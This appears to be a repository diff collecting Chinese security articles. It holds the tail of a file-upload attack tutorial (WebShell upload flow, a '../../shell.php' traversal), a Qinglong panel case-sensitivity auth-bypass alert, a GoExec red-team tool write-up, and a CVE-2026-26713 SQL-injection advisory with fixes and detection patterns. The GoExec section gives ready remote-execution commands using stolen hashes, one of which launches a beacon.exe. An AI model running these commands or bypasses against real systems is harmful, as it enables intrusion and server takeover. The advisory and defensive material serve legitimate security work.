|
||||
例如：
|
||||
```
|
||||
../../shell.php
|
||||
|
||||
```
|
||||
## 2 文件解码还原
|
||||
|
||||
有些系统会把文件：
|
||||
```
|
||||
编码存储
|
||||
|
||||
```
|
||||
|
||||
访问时：
|
||||
```
|
||||
解码输出
|
||||
|
||||
```
|
||||
|
||||
这类情况通常无法直接利用。
|
||||
## 3 分站存储
|
||||
|
||||
例如：
|
||||
```
|
||||
upload.xiaodi8.com 上传
|
||||
images.xiaodi8.com 存储
|
||||
|
||||
```
|
||||
|
||||
攻击成功条件：
|
||||
|
||||
**存储站点允许执行脚本**
|
||||
|
||||
否则只能当静态文件。
|
||||
## 4 OSS对象存储
|
||||
|
||||
很多系统使用：
|
||||
```
|
||||
OSS
|
||||
|
||||
```
|
||||
|
||||
例如：
|
||||
- 阿里云OSS
|
||||
- AWS S3
|
||||
文件存储在：
|
||||
```
|
||||
Bucket
|
||||
|
||||
```
|
||||
|
||||
一般：
|
||||
```
|
||||
不允许脚本执行
|
||||
|
||||
```
|
||||
|
||||
因此只能当文件访问。
|
||||
# 十四、文件上传漏洞挖掘场景
|
||||
|
||||
在真实渗透测试中，上传点通常出现在：
|
||||
### 用户上传
|
||||
|
||||
例如：
|
||||
```
|
||||
头像上传
|
||||
附件上传
|
||||
资料上传
|
||||
|
||||
```
|
||||
### JS或API接口
|
||||
|
||||
例如：
|
||||
```
|
||||
/api/upload
|
||||
/uploadFile
|
||||
|
||||
```
|
||||
### 后台管理系统
|
||||
|
||||
例如：
|
||||
```
|
||||
CMS后台
|
||||
|
||||
```
|
||||
### 源码泄露
|
||||
|
||||
如果获得源码，可以直接审计：
|
||||
```
|
||||
upload.php
|
||||
|
||||
```
|
||||
### 第三方编辑器
|
||||
|
||||
很多编辑器存在上传接口：
|
||||
|
||||
例如：
|
||||
- UEditor
|
||||
- CKEditor
|
||||
- KindEditor
|
||||
这些组件历史上存在大量漏洞。
|
||||
# 十五、文件上传漏洞攻击思维体系
|
||||
|
||||
完整攻击流程：
|
||||
```
|
||||
发现上传点
|
||||
↓
|
||||
分析验证逻辑
|
||||
↓
|
||||
判断验证类型
|
||||
↓
|
||||
构造绕过Payload
|
||||
↓
|
||||
上传WebShell
|
||||
↓
|
||||
获取服务器权限
|
||||
|
||||
```
|
||||
|
||||
核心分析维度：
|
||||
```
|
||||
前端验证
|
||||
后端逻辑
|
||||
服务器解析
|
||||
文件存储
|
||||
第三方组件
|
||||
代码逻辑
|
||||
|
||||
```
|
||||
# 十六、SRC漏洞报告复盘
|
||||
|
||||
在 SRC 漏洞平台中，文件上传漏洞通常属于：
|
||||
|
||||
**高危漏洞**
|
||||
|
||||
报告内容一般包括：
|
||||
|
||||
1 漏洞描述2 漏洞原理3 复现步骤4 漏洞截图5 利用方式6 修复建议
|
||||
|
||||
示例：
|
||||
```
|
||||
漏洞类型：
|
||||
文件上传漏洞
|
||||
|
||||
影响：
|
||||
攻击者可上传WebShell获取服务器权限
|
||||
|
||||
修复建议：
|
||||
限制文件类型
|
||||
验证文件内容
|
||||
关闭执行权限
|
||||
使用随机文件名
|
||||
|
||||
```
|
||||
# 结语
|
||||
|
||||
文件上传漏洞看似简单，但真正的利用往往需要深入理解：
|
||||
- Web服务器解析机制
|
||||
- 编程语言特性
|
||||
- 文件结构
|
||||
- 存储架构
|
||||
在真实攻防环境中，一个成功的文件上传漏洞利用，往往是：
|
||||
|
||||
**多种技术组合的结果。**
|
||||
|
||||
因此，学习文件上传漏洞的关键，不是记住 Payload，而是建立完整的 **Web攻防思维体系**。
|
||||
|
||||
当你开始从：
|
||||
```
|
||||
代码逻辑
|
||||
服务器配置
|
||||
文件解析
|
||||
存储架构
|
||||
|
||||
```
|
||||
|
||||
多个维度分析上传功能时，才真正进入 **高级 Web 安全研究者的视角**。
|
||||
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
# 紧急预警：青龙面板严重漏洞，一行命令即可接管服务器！
|
||||
原创 宝十八
|
||||
宝十八 网络安全老宋 2026-03-06 01:01
|
||||
|
||||
**导语：**
|
||||
你好，我是老宋。
|
||||
关注我，安全攻防干货第一时间送达！
|
||||
|
||||
|
||||
一个严重的鉴权绕过漏洞，原因很想笑，建议先收藏再点赞
|
||||
|
||||
|
||||
```
|
||||
漏洞等级：🔴 严重 (Critical)
|
||||
影响版本：Qinglong Panel 2.20.1 及部分旧版本
|
||||
利用难度：🟢 极低 (无需登录，无需认证)
|
||||
```
|
||||
|
||||
近日，安全研究人员发现流行的定时任务管理面板——
|
||||
**青龙面板 (Qinglong Panel)**
|
||||
存在一个严重的
|
||||
**鉴权绕过漏洞**
|
||||
。
|
||||
|
||||
攻击者无需任何账号密码，只需在访问链接中玩一个“大小写游戏”，就能绕过系统的安全检查，直接执行服务器上的任意命令。这意味着，你的服务器可能在毫无察觉的情况下被完全控制。
|
||||
### 一、漏洞原理（简单版）
|
||||
|
||||
青龙面板原本设定：访问
|
||||
/api/
|
||||
开头的接口必须验证身份（Token）。
|
||||
|
||||
但是，由于代码逻辑疏忽：
|
||||
1. 系统严格区分大小写检查路径（只拦截小写
|
||||
/api/
|
||||
）。
|
||||
|
||||
1. 但底层框架（Express）对路由大小写不敏感（大写
|
||||
/API/
|
||||
也能通向后端接口）😂。
|
||||
|
||||
**结果：**
|
||||
|
||||
攻击者将链接中的
|
||||
/api/
|
||||
改为
|
||||
/API/（就是这么简单🤦🏻♀️）
|
||||
，系统误以为是不需要验证的普通路径，直接放行，从而让攻击者长驱直入。
|
||||
|
||||
|
||||
### 二、危害有多大呢？
|
||||
|
||||
一旦漏洞被利用，攻击者可以：
|
||||
- ✅
|
||||
**执行任意命令**
|
||||
：查看服务器信息、安装恶意软件。
|
||||
|
||||
- ✅
|
||||
**窃取敏感数据**
|
||||
：读取配置文件、数据库密码、密钥。
|
||||
|
||||
- ✅
|
||||
**完全接管服务器**
|
||||
：植入挖矿程序、发起内网攻击或勒索病毒。
|
||||
|
||||
**复现示例（仅供技术理解，严禁非法使用）：**
|
||||
|
||||
正常请求会被拦截，但将
|
||||
api
|
||||
改为大写
|
||||
API
|
||||
后：
|
||||
```
|
||||
```
|
||||
|
||||
系统将直接返回当前用户权限（通常是 root），导致服务器沦陷。
|
||||
|
||||
|
||||
### 三、如何防御与修复？
|
||||
|
||||
使用青龙面板的管理员建议立即采取以下措施：
|
||||
|
||||
**1. 官方升级（推荐）**
|
||||
|
||||
密切关注青龙面板官方仓库，尽快升级到修复了该漏洞的最新版本。
|
||||
|
||||
**2. 临时加固方案**
|
||||
|
||||
如果暂时无法升级，建议在反向代理（如 Nginx）层强制统一路径大小写，或直接禁止外部访问敏感接口：
|
||||
- **Nginx 配置示例：**
|
||||
|
||||
强制将所有 URI 转换为小写，或在防火墙层面限制
|
||||
/api/
|
||||
相关接口的访问来源。
|
||||
|
||||
- **代码层修复思路（供开发者参考）：**
|
||||
|
||||
将鉴权逻辑中的路径匹配改为
|
||||
**不区分大小写**
|
||||
的正则匹配。
|
||||
```
|
||||
```
|
||||
|
||||
### 四、特别提醒
|
||||
- **自查：**
|
||||
检查您的服务器是否暴露在公网，且运行的是受影响版本。
|
||||
|
||||
- **日志审计：**
|
||||
检查服务器日志，查看是否有异常的
|
||||
/API/
|
||||
或混合大小写的访问记录。
|
||||
|
||||
- **合规使用：**
|
||||
本文仅用于安全技术交流与防御加固，严禁利用该漏洞进行非法攻击。
|
||||
|
||||
那么，你自己使用青龙面板了吗？是薅羊毛吗？(#^.^#)
|
||||
|
||||
🐰：我也是赶了个晚集☺️
|
||||
### 往期精彩
|
||||
|
||||
[开机自动显示电脑IP地址？这个小技巧让桌面“开口说话”！](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485519&idx=1&sn=8dad7ce2164b6c4abe63af016ec9148e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[多地爆发 “银狐” 病毒，办公场景成重灾区，这些防范要点必看](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485491&idx=1&sn=5fab6c9c4aca7533ae7531b1ad454954&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[红队视角下的暴露面攻防：如何从一个弱点撕开企业防线？](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485563&idx=1&sn=7d1d12904a8d700714b52aef2f4262f1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[实战视角下的云平台安全：从攻击路径到防御体系的全景解析](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485552&idx=1&sn=5160d3927b73bbb4006d965bddc73159&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[混合云攻防实战：当红队盯上你的云管平台](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485497&idx=1&sn=0317c6ba26bbd0a31f9acc92f22db968&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[终端攻防全链路解析：红队如何从一台电脑拿下整个内网？](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485454&idx=1&sn=6fe621fb3b423279921144cf24eb73c0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[数据安全全生命周期管理技战法精要](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485297&idx=1&sn=773deff9a7e4f5f5ea5a7f38b1b4840f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[三行神秘命令，一键优化 Windows？真相在这里！](https://mp.weixin.qq.com/s?__biz=MzAxMzIxMjM3Ng==&mid=2247485246&idx=1&sn=dcc27fd9fda5ac8fa27311185563e5c9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
如果你感觉有用，
|
||||
帮忙点个免费的关注转发，你的支持是我更新的动力
|
||||
|
||||
关注我的人，顺风顺水顺财神，朝朝暮暮有人疼！无一例外！
|
||||
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
# 红队福音：GoExec实现多种Windows远程代码执行方法
|
||||
柠檬赏金猎人 2026-03-06 00:17
|
||||
|
||||
### 概述
|
||||
|
||||
|
||||
GoExec是一款用Go语言编写的Windows远程执行多合一工具，它实现了多种远程执行方法，并对操作安全性（OPSEC）进行了显著改进。该工具支持WMI、DCOM、SCMR和TSCH等多种协议，为安全研究人员和红队人员提供了灵活且隐蔽的远程代码执行能力。
|
||||
|
||||
|
||||
|
||||
|
||||
### 技术/功能
|
||||
|
||||
|
||||
GoExec的核心功能模块如下：
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th><span style="font-size: 14px;">模块名称</span></th>
|
||||
<th><span style="font-size: 14px;">主要功能</span></th>
|
||||
<th><span style="font-size: 14px;">关键特性</span></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><strong style="color: rgb(0, 150, 136);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;font-size: 14px;">WMI模块</strong></td>
|
||||
<td><span style="font-size: 14px;">通过Windows管理规范远程执行</span></td>
|
||||
<td><span style="font-size: 14px;">支持进程创建和自定义方法调用</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><strong style="color: rgb(0, 150, 136);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;font-size: 14px;">DCOM模块</strong></td>
|
||||
<td><span style="font-size: 14px;">利用分布式组件对象模型执行</span></td>
|
||||
<td><span style="font-size: 14px;">支持MMC、ShellWindows、Excel等多种对象</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><strong style="color: rgb(0, 150, 136);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;font-size: 14px;">TSCH模块</strong></td>
|
||||
<td><span style="font-size: 14px;">通过任务计划程序服务执行</span></td>
|
||||
<td><span style="font-size: 14px;">支持创建、修改和即时启动任务</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><strong style="color: rgb(0, 150, 136);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;font-size: 14px;">SCMR模块</strong></td>
|
||||
<td><span style="font-size: 14px;">通过服务控制管理器执行</span></td>
|
||||
<td><span style="font-size: 14px;">支持创建、修改和删除服务</span></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
**主要特性：**
|
||||
|
||||
- 支持多种认证方式：密码、NT哈希、Kerberos、证书等
|
||||
|
||||
- 可选的执行输出捕获功能（通过SMB传输）
|
||||
|
||||
- 支持代理和自定义RPC端点
|
||||
|
||||
- 提供详细的调试和日志记录选项
|
||||
|
||||
|
||||
### 使用示例
|
||||
|
||||
#### 1. 使用WMI模块执行命令
|
||||
|
||||
```
|
||||
# 使用NT哈希认证，执行whoami命令并获取输出goexec wmi proc "192.168.1.100" \ -u "administrator@domain" \ -H "aad3b435b51404eeaad3b435b51404ee" \ -e "cmd.exe" \ -a "/C whoami /all" \ -o-
|
||||
```
|
||||
|
||||
#### 2. 使用DCOM的MMC方法
|
||||
|
||||
```
|
||||
# 执行系统命令并保存输出到文件goexec dcom mmc "target-host" \ -u "admin" \ -p "Password123" \ -e "cmd.exe" \ -a "/c systeminfo" \ -o ./systeminfo.txt
|
||||
```
|
||||
|
||||
#### 3. 使用任务计划程序模块
|
||||
|
||||
```
|
||||
# 创建定时任务执行程序goexec tsch create "192.168.1.50" \ -u "user@domain" \ -p "password" \ --kerberos \ --task "\\Microsoft\\Windows\\GoExec" \ --exec "C:\\Windows\\Temp\\beacon.exe"
|
||||
```
|
||||
|
||||
#### 4. 修改现有服务执行命令
|
||||
|
||||
```
|
||||
# 修改PlugPlay服务执行自定义命令goexec scmr change "target" \ -u "administrator" \ -p "AdminPass123" \ -s "PlugPlay" \ -f "C:\\Windows\\System32\\cmd.exe" \ -a "/c echo Hello > C:\\test.txt"
|
||||
```
|
||||
|
||||
### 注意事项
|
||||
|
||||
1. **合法使用**：仅限授权测试和合法安全研究使用
|
||||
|
||||
1. **OPSEC考虑**：输出捕获功能会在目标系统创建临时文件，可能被安全软件检测
|
||||
|
||||
1. **DCOM限制**：DCOM模块在某些Windows版本上可能不稳定，且不支持Kerberos认证
|
||||
|
||||
1. **服务修改风险**：修改关键Windows服务可能导致系统不稳定
|
||||
|
||||
1. **时间同步**：TSCH模块需要目标系统时间同步准确
|
||||
|
||||
1. **权限要求**：大多数方法需要管理员权限才能成功执行
|
||||
|
||||
|
||||
### 参考链接
|
||||
|
||||
- https://github.com/FalconOpsLLC/goexec
|
||||
|
||||
- https://www.falconops.com/blog/introducing-goexec
|
||||
|
||||
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/
|
||||
|
||||
|
||||
|
||||
|
||||
仅限交流学习使用，如您在使用本工具或代码的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。如侵权请私聊公众号删文。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
# 高危预警 | CVE-2026-26713：开源点餐系统存在未授权 SQL 注入漏洞，CVSS 评分 9.8
|
||||
原创 CVE-SEC
|
||||
CVE-SEC CVE-SEC 2026-03-06 00:00
|
||||
|
||||
# 高危预警 | CVE-2026-26713：开源点餐系统存在未授权 SQL 注入漏洞，CVSS 评分 9.8
|
||||
## 漏洞速览
|
||||
|
||||
近日，安全研究员 Thirtypenny77 在 code-projects 发布的开源 PHP 点餐系统 Simple Food Order System v1.0 中发现一处严重 SQL 注入漏洞，漏洞编号 CVE-2026-26713，于 2026 年 3 月 2 日正式披露并收录至 NVD（美国国家漏洞数据库）。
|
||||
|
||||
该漏洞 CVSS 3.1 基础评分为 9.8，评级为 CRITICAL（严重），无需任何身份认证即可远程利用，PoC 已公开。
|
||||
## 受影响产品
|
||||
|
||||
code-projects Simple Food Order System 是一款基于 PHP、MySQL 技术栈构建的开源 Web 点餐应用，包含用户端点餐界面与管理员后台两套模块，支持菜品管理、购物车、在线下单及订单状态管理等功能。该项目以教学示例为定位，源代码在 code-projects.org 平台公开发布，历史下载量已超过 40,000 次。
|
||||
|
||||
受影响版本：v1.0 受影响文件：/food/routers/cancel-order.php
|
||||
## 漏洞原理
|
||||
|
||||
漏洞成因直接且经典：系统在处理"取消订单"请求时，将用户 HTTP 请求中传入的订单 ID 参数未经任何过滤或参数化处理，直接以字符串拼接方式嵌入 SQL 查询语句中执行。
|
||||
```
|
||||
// 漏洞代码模式（示意）
|
||||
$order_id = $_POST['id'];
|
||||
$sql = "UPDATE orders SET status='Canceled' WHERE order_id = '$order_id'";
|
||||
mysqli_query($conn, $sql);
|
||||
|
||||
```
|
||||
|
||||
当攻击者传入包含单引号、注释符或 SQL 关键字的恶意字符串时，数据库引擎无法区分"数据"与"指令"，攻击者构造的 SQL 逻辑将被直接执行。
|
||||
|
||||
漏洞类型：CWE-89（SQL 命令中特殊元素的不当中和）
|
||||
## 危害后果
|
||||
|
||||
该接口无需登录即可访问，攻击者从公网直接发起攻击，无任何门槛。成功利用后，攻击者可以：
|
||||
- 获取数据库中所有用户的账号、密码、联系方式等隐私信息
|
||||
|
||||
- 读取管理员账号凭据，进而接管系统后台
|
||||
|
||||
- 任意篡改或删除订单数据、菜品信息等业务数据
|
||||
|
||||
- 在数据库用户权限较高时，读取服务器本地敏感文件
|
||||
|
||||
CVSS 3.1 向量完整表述：AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，机密性、完整性与可用性均为高影响。
|
||||
## 为何值得警惕
|
||||
|
||||
这个漏洞本身的技术难度并不高，但有几点因素使其值得重点关注。
|
||||
|
||||
第一，暴露面不可忽视。该系统源代码公开，下载量超 4 万次，部分使用者会将其直接或改动极少后部署至公网服务器。攻击者可借助 FOFA、Shodan、ZoomEye 等网络空间测绘平台，以 title="Simple Food Order System"
|
||||
等关键词快速定位暴露实例，批量扫描成本极低。
|
||||
|
||||
第二，PoC 已公开。研究员在 GitHub 上同步发布了详细的漏洞报告，利用细节对外透明，自动化利用工具（如 sqlmap）结合该报告可在极短时间内完成数据库数据提取。
|
||||
|
||||
第三，官方暂无补丁。截至本文发布时，code-projects 尚未针对该漏洞发布任何修复版本或安全公告，使用者需自行完成修复。
|
||||
|
||||
第四，这不是孤例。在 code-projects 系列同类 PHP 项目中，SQL 注入缺陷在多个路由文件（如 /routers/edit-orders.php
|
||||
、/routers/router.php
|
||||
）中均有出现，反映出该系列项目在 SQL 查询处理上存在系统性安全问题，并非个别文件的偶发错误。
|
||||
## 修复方案
|
||||
|
||||
根本修复方式是将字符串拼接改为参数化查询，这是防止 SQL 注入的行业标准方法，实现成本低，改动范围集中于单一文件。
|
||||
|
||||
使用 PHP MySQLi 参数化查询修复示例：
|
||||
```
|
||||
// 修复后代码模式（示意）
|
||||
$order_id = $_POST['id'];
|
||||
$conn = new mysqli($host, $user, $pass, $db);
|
||||
$stmt = $conn->prepare("UPDATE orders SET status='Canceled' WHERE order_id = ?");
|
||||
$stmt->bind_param("i", $order_id);
|
||||
$stmt->execute();
|
||||
$stmt->close();
|
||||
|
||||
```
|
||||
|
||||
对于订单 ID 这类纯整型参数，也可先行采用强制类型转换作为低成本临时措施：
|
||||
```
|
||||
$order_id = intval($_POST['id']);
|
||||
|
||||
```
|
||||
|
||||
此外，建议同步排查系统中其他路由文件的 SQL 查询写法，进行全面安全加固，而非仅针对单一文件修补。
|
||||
## 临时缓解建议
|
||||
|
||||
在完成代码修复前，可采取以下措施降低风险：
|
||||
- 通过服务器防火墙或安全组规则，限制 /food/routers/cancel-order.php
|
||||
的外网直接访问
|
||||
|
||||
- 部署 WAF，启用 SQL 注入防护规则，对包含 '
|
||||
、--
|
||||
、UNION SELECT
|
||||
、SLEEP()
|
||||
等特征的请求进行拦截
|
||||
|
||||
- 在 PHP 配置中关闭错误信息显示（display_errors = Off
|
||||
），避免数据库报错内容泄露给攻击者
|
||||
|
||||
- 确保数据库连接账号仅拥有业务必需的最低权限，不赋予 FILE、DROP 等高危权限
|
||||
|
||||
## 检测建议
|
||||
|
||||
运维人员可在 Web 服务器访问日志中检索以下特征，判断系统是否已遭攻击尝试：
|
||||
- 请求路径：/food/routers/cancel-order.php
|
||||
|
||||
- 参数中出现：'
|
||||
、%27
|
||||
、--
|
||||
、UNION
|
||||
、SELECT
|
||||
、SLEEP(
|
||||
、OR 1=1
|
||||
等字符串
|
||||
|
||||
若发现服务器响应时间出现异常延迟，也可能是时间盲注攻击的指征，建议结合数据库慢查询日志进行关联分析。
|
||||
## 参考信息
|
||||
- NVD 漏洞详情：https://nvd.nist.gov/vuln/detail/CVE-2026-26713
|
||||
|
||||
- MITRE CVE 记录：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26713
|
||||
|
||||
- CIRCL Vulnerability-Lookup：https://vulnerability.circl.lu/vuln/cve-2026-26713
|
||||
|
||||
- 漏洞原始报告（GitHub）：https://github.com/Thirtypenny77/bug_report/blob/main/code-projects/simple-food-order-system/SQL-4.md
|
||||
|
||||
## 结语
|
||||
|
||||
CVE-2026-26713 是一个技术门槛低、危害评级高、PoC 已公开且官方暂无补丁的高危漏洞。对于正在使用 code-projects Simple Food Order System 的个人开发者和小型部署方而言，建议优先完成代码层修复，同时对系统其余代码进行全面的 SQL 注入审查。
|
||||
|
||||
安全从代码写对开始。将用户输入参数化，是开发阶段最低成本、最有效的防线。
|
||||
|
||||
|
||||
Reference in new issue
Block a user